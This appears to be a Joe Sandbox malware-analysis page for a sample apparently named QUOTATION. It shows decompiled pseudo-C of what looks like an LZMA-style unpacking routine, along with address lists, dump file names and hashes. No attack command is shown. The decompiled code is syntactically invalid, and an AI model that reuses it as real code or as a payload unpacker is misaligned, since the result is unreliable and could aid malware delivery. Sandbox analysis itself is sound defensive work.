													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406a23
0x00406a23
0x00406a27
0x00406a34
0x00406a3e
0x00000000
0x00406a29
0x00406a29
0x00406a64
0x00406a67
0x00406a6a
0x00406a6d
0x00406a6d
0x00406a70
0x00406a77
0x00406a7c
0x0040695d
0x00406960
0x00406cd2
0x00406cd2
0x00406cd2
0x00406cd5
0x00406cd5
0x00406cd5
0x00406cdb
0x00406ce1
0x00406ce7
0x00406d01
0x00406d04
0x00406d0a
0x00406d15
0x00406d17
0x00406ce9
0x00406ce9
0x00406cf8
0x00406cfc
0x00406cfc
0x00406d21
0x00000000
0x00000000
0x00406d23
0x00406d27
0x00406ed6
0x00406eec
0x00406ef4
0x00406efb
0x00406efd
0x00406f04
0x00406f08
0x00406f08
0x00406d33
0x00406d3a
0x00406d42
0x00406d45
0x00406d48
0x00406d48
0x00406d4e
0x00406d4e
0x004064ea
0x004064ea
0x004064ea
0x004064f3
0x00000000
0x00000000
0x004064f9
0x00000000
0x00406504
0x00000000
0x00000000
0x0040650d
0x00406510
0x00406513
0x00406517
0x00000000
0x00000000
0x0040651d
0x00406520
0x00406522
0x00406523
0x00406526
0x00406528
0x00406529
0x0040652b
0x0040652e
0x00406533
0x00406538
0x00406541
0x00406554
0x00406557
0x00406563
0x0040658b
0x0040658d
0x0040659b
0x0040659b
0x0040659f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040658f
0x0040658f
0x00406592
0x00406593
0x00406593
0x00000000
0x0040658f
0x00406569
0x0040656e
0x0040656e
0x00406577
0x0040657f
0x00406582
0x00000000
0x00406588
0x00406588
0x00000000
0x00406588
0x00000000
0x004065a5
0x004065a5
0x004065a9
0x00406e55
0x00000000
0x00406e55
0x004065b2
0x004065c2
0x004065c5
0x004065c8
0x004065c8
0x004065c8
0x004065cb
0x004065cf
0x00000000
0x00000000
0x004065d1
0x004065d7
0x00406601
0x00406607
0x0040660e
0x00000000
0x0040660e
0x004065dd
0x004065e0
0x004065e5
0x004065e5
0x004065f0
0x004065f8
0x004065fb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406640
0x00406646
0x00406649
0x00406656
0x0040665e
0x00406cd2
0x00406cd2
0x00000000
0x00000000
0x00406615
0x00406615
0x00406619
0x00406e64
0x00000000
0x00406e64
0x00406625
0x00406630
0x00406630
0x00406630
0x00406633
0x00406636
0x00406639
0x0040663e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406cd5
0x00406cd5
0x00406cdb
0x00406ce1
0x00406ce7
0x00406d01
0x00406d04
0x00406d0a
0x00406d15
0x00406d17
0x00406ce9
0x00406ce9
0x00406cf8
0x00406cfc
0x00406cfc
0x00406d21
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406666
0x00406668
0x0040666b
0x004066dc
0x004066df
0x004066e2
0x004066e9
0x004066f3
0x00406cd2
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00406cd2
0x0040666d
0x00406671
0x00406674
0x00406676
0x00406679
0x0040667c
0x0040667e
0x00406681
0x00406683
0x00406688
0x0040668b
0x0040668e
0x00406692
0x00406699
0x0040669c
0x004066a3
0x004066a7
0x004066af
0x004066af
0x004066af
0x004066a9
0x004066a9
0x004066a9
0x0040669e
0x0040669e
0x0040669e
0x004066b3
0x004066b6
0x004066d4
0x004066d6
0x00000000
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c3
0x004066c3
0x004066c3
0x004066c6
0x004066c9
0x004066cb
0x004066cc
0x004066cf
0x00000000
0x004066cf
0x00000000
0x00406905
0x00406909
0x00406927
0x0040692a
0x00406931
0x00406934
0x00406937
0x0040693a
0x0040693d
0x00406940
0x00406942
0x00406949
0x0040694a
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406955
0x0040695a
0x00000000
0x0040695a
0x0040690b
0x0040690e
0x00406911
0x0040691b
0x00406cd2
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00000000
0x0040696f
0x00406973
0x00406996
0x00406999
0x0040699c
0x004069a6
0x00406975
0x00406975
0x00406978
0x0040697b
0x0040697e
0x0040698b
0x0040698e
0x0040698e
0x00406cd2
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00000000
0x004069b2
0x004069b6
0x00000000
0x00000000
0x004069bc
0x004069c0
0x00000000
0x00000000
0x004069c6
0x004069c8
0x004069cc
0x004069cc
0x004069cf
0x004069d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a4a
0x00406a4e
0x00406a55
0x00406a58
0x00406a5b
0x00406a50
0x00406a50
0x00406a50
0x00406a5e
0x00406a61
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00406eac
0x00000000
0x00406eac
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b21
0x00406b27
0x00406b29
0x00406b29
0x00406b29
0x00406b2c
0x00406b2f
0x00000000
0x00000000
0x004066ff
0x004066ff
0x00406703
0x00406e70
0x00000000
0x00406e70
0x00406709
0x0040670c
0x0040670f
0x00406713
0x00406716
0x0040671c
0x0040671e
0x0040671e
0x0040671e
0x00406721
0x00406724
0x00406724
0x00406727
0x0040672a
0x00000000
0x00000000
0x00406730
0x00406736
0x00000000
0x00000000
0x0040673c
0x0040673c
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x0040674d
0x00406750
0x00406752
0x00406758
0x0040675b
0x0040675e
0x00406761
0x00406764
0x00406767
0x0040676a
0x00406786
0x00406789
0x0040678c
0x0040678f
0x00406796
0x0040679a
0x0040679c
0x004067a0
0x0040676c
0x0040676c
0x00406770
0x00406778
0x0040677d
0x0040677f
0x00406781
0x00406781
0x004067a3
0x004067aa
0x004067ad
0x00000000
0x004067b3
0x00000000
0x004067b3
0x00000000
0x004067b8
0x004067b8
0x004067bc
0x00406e7c
0x00000000
0x00406e7c
0x004067c2
0x004067c5
0x004067c8
0x004067cc
0x004067cf
0x004067d5
0x004067d7
0x004067d7
0x004067d7
0x004067da
0x004067dd
0x004067dd
0x004067dd
0x004067e3
0x00000000
0x00000000
0x004067e5
0x004067e8
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406800
0x00406803
0x0040681b
0x0040681e
0x00406821
0x00406824
0x00406824
0x00406827
0x0040682b
0x0040682d
0x00406805
0x00406805
0x0040680d
0x00406812
0x00406814
0x00406816
0x00406816
0x00406830
0x00406837
0x0040683a
0x00000000
0x0040683c
0x00000000
0x0040683c
0x0040683a
0x00406841
0x00406841
0x00406841
0x00406841
0x00000000
0x00000000
0x0040687c
0x0040687c
0x00406880
0x00406e88
0x00000000
0x00406e88
0x00406886
0x00406889
0x0040688c
0x00406890
0x00406893
0x00406899
0x0040689b
0x0040689b
0x0040689b
0x0040689e
0x004068a1
0x004068a1
0x004068a7
0x00406845
0x00406845
0x00406848
0x00000000
0x00406848
0x004068a9
0x004068a9
0x004068ac
0x004068af
0x004068b2
0x004068b5
0x004068b8
0x004068bb
0x004068be
0x004068c1
0x004068c4
0x004068c7
0x004068df
0x004068e2
0x004068e5
0x004068e8
0x004068e8
0x004068eb
0x004068ef
0x004068f1
0x004068c9
0x004068c9
0x004068d1
0x004068d6
0x004068d8
0x004068da
0x004068da
0x004068f4
0x004068fb
0x004068fe
0x00000000
0x00406900
0x00000000
0x00406900
0x00000000
0x00406b8d
0x00406b8d
0x00406b91
0x00406eb8
0x00000000
0x00406eb8
0x00406b97
0x00406b9a
0x00406b9d
0x00406ba1
0x00406ba4
0x00406baa
0x00406bac
0x00406bac
0x00406bac
0x00406baf
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c9c
0x00406ca0
0x00406cc2
0x00406cc5
0x00406ccf
0x00406cd2
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00406cd2
0x00406ca2
0x00406ca5
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00000000
0x00000000
0x00406d59
0x00406d5d
0x00406d7b
0x00406d7b
0x00406d7b
0x00406d82
0x00406d89
0x00406d90
0x00406d90
0x00000000
0x00406d90
0x00406d5f
0x00406d62
0x00406d65
0x00406d68
0x00406d6f
0x00406cb3
0x00406cb3
0x00406cb6
0x00000000
0x00000000
0x00406e4a
0x00406e4d
0x00406d4e
0x00000000
0x00000000
0x00406a84
0x00406a86
0x00406a8d
0x00406a8e
0x00406a90
0x00406a93
0x00000000
0x00000000
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aa6
0x00406aa9
0x00406ab0
0x00406ab3
0x00406ac1
0x00000000
0x00000000
0x00406d97
0x00406d97
0x00406d9a
0x00406da1
0x00000000
0x00000000
0x00406da6
0x00406da6
0x00406daa
0x00406ee2
0x00000000
0x00406ee2
0x00406db0
0x00406db3
0x00406db6
0x00406dba
0x00406dbd
0x00406dc3
0x00406dc5
0x00406dc5
0x00406dc5
0x00406dc8
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dce
0x00406dce
0x00406dd2
0x00406e32
0x00406e35
0x00406e3a
0x00406e3b
0x00406e3d
0x00406e3f
0x00406e42
0x00406d4e
0x00406d4e
0x00000000
0x00406d54
0x00406d4e
0x00406dd4
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406e0e
0x00406e11
0x00406e14
0x00406e17
0x00406e1b
0x00406e1d
0x00406e1d
0x00406e1e
0x00406e21
0x00406df7
0x00406df7
0x00406dff
0x00406e04
0x00406e06
0x00406e09
0x00406e09
0x00406e24
0x00406e2b
0x00000000
0x00406e2d
0x00000000
0x00406e2d
0x00000000
0x00406ac9
0x00406acc
0x00406b02
0x00406c32
0x00406c32
0x00406c32
0x00406c32
0x00406c35
0x00406c35
0x00406c38
0x00406c3a
0x00406ec4
0x00000000
0x00406ec4
0x00406c40
0x00406c43
0x00000000
0x00000000
0x00406c49
0x00406c4d
0x00406c50
0x00406c50
0x00406c50
0x00000000
0x00406c50
0x00406ace
0x00406ad0
0x00406ad2
0x00406ad4
0x00406ad7
0x00406ad8
0x00406ada
0x00406adc
0x00406adf
0x00406ae2
0x00406af8
0x00406afd
0x00406b35
0x00406b35
0x00406b39
0x00406b65
0x00406b67
0x00406b6e
0x00406b71
0x00406b74
0x00406b74
0x00406b79
0x00406b79
0x00406b7b
0x00406b7e
0x00406b85
0x00406b88
0x00406bb5
0x00406bb5
0x00406bb8
0x00406bbb
0x00406c2f
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bbd
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bdb
0x00406bde
0x00406bf7
0x00406bf9
0x00406bfc
0x00406bfd
0x00406c00
0x00406c02
0x00406c05
0x00406c07
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c15
0x00406c17
0x00406c17
0x00406c18
0x00406c1b
0x00406c1e
0x00406be0
0x00406be0
0x00406be8
0x00406bed
0x00406bef
0x00406bf2
0x00406bf2
0x00406c21
0x00406c28
0x00406bb2
0x00406bb2
0x00406bb2
0x00406bb2
0x00000000
0x00406c2a
0x00000000
0x00406c2a
0x00406c28
0x00406b3b
0x00406b3e
0x00406b40
0x00406b43
0x00406b46
0x00406b49
0x00406b4b
0x00406b4e
0x00406b51
0x00406b51
0x00406b54
0x00406b54
0x00406b57
0x00406b5e
0x00406b32
0x00406b32
0x00406b32
0x00406b32
0x00000000
0x00406b60
0x00000000
0x00406b60
0x00406b5e
0x00406ae4
0x00406ae7
0x00406ae9
0x00406aec
0x00000000
0x00000000
0x0040684b
0x0040684b
0x0040684f
0x00406e94
0x00000000
0x00406e94
0x00406855
0x00406858
0x0040685b
0x0040685e
0x00406861
0x00406864
0x00406867
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406874
0x00406874
0x00406874
0x00000000
0x00000000
0x004069d6
0x004069d6
0x004069da
0x00406ea0
0x00000000
0x00406ea0
0x004069e0
0x004069e3
0x004069e6
0x004069e9
0x004069eb
0x004069eb
0x004069eb
0x004069ee
0x004069f1
0x004069f4
0x004069f7
0x004069fa
0x004069fd
0x004069fe
0x00406a00
0x00406a00
0x00406a00
0x00406a03
0x00406a06
0x00406a09
0x00406a0c
0x00406a0c
0x00406a0c
0x00406a0f
0x00406a11
0x00406a11
0x00000000
0x00000000
0x00406c53
0x00406c53
0x00406c53
0x00406c57
0x00000000
0x00000000
0x00406c5d
0x00406c60
0x00406c63
0x00406c66
0x00406c68
0x00406c68
0x00406c68
0x00406c6b
0x00406c6e
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7b
0x00406c7d
0x00406c7d
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c90
0x00406c92
0x00406c95
0x00000000
0x00406c97
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00406c95
0x00406eca
0x00000000
0x00000000
0x004064f9
0x00406f01
0x00406f01
0x00000000
0x00406f01
0x00406d4e
0x00406cd5
0x00406cd2
0x00000000
0x00406a27

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d154c6f6c8b8bff782c781b6862f01632ca8036cc5e59350156e3961b0956316
Instruction ID: 3517892101dd69bd75e64738494877d03a8317e446f0652336487a17687a2cae
Opcode Fuzzy Hash: d154c6f6c8b8bff782c781b6862f01632ca8036cc5e59350156e3961b0956316
Instruction Fuzzy Hash: 53712571E04229DFEF28CF98C844BADBBB1FB44305F15806AD816BB281D7789996DF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040696F Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040696F() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406F09))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
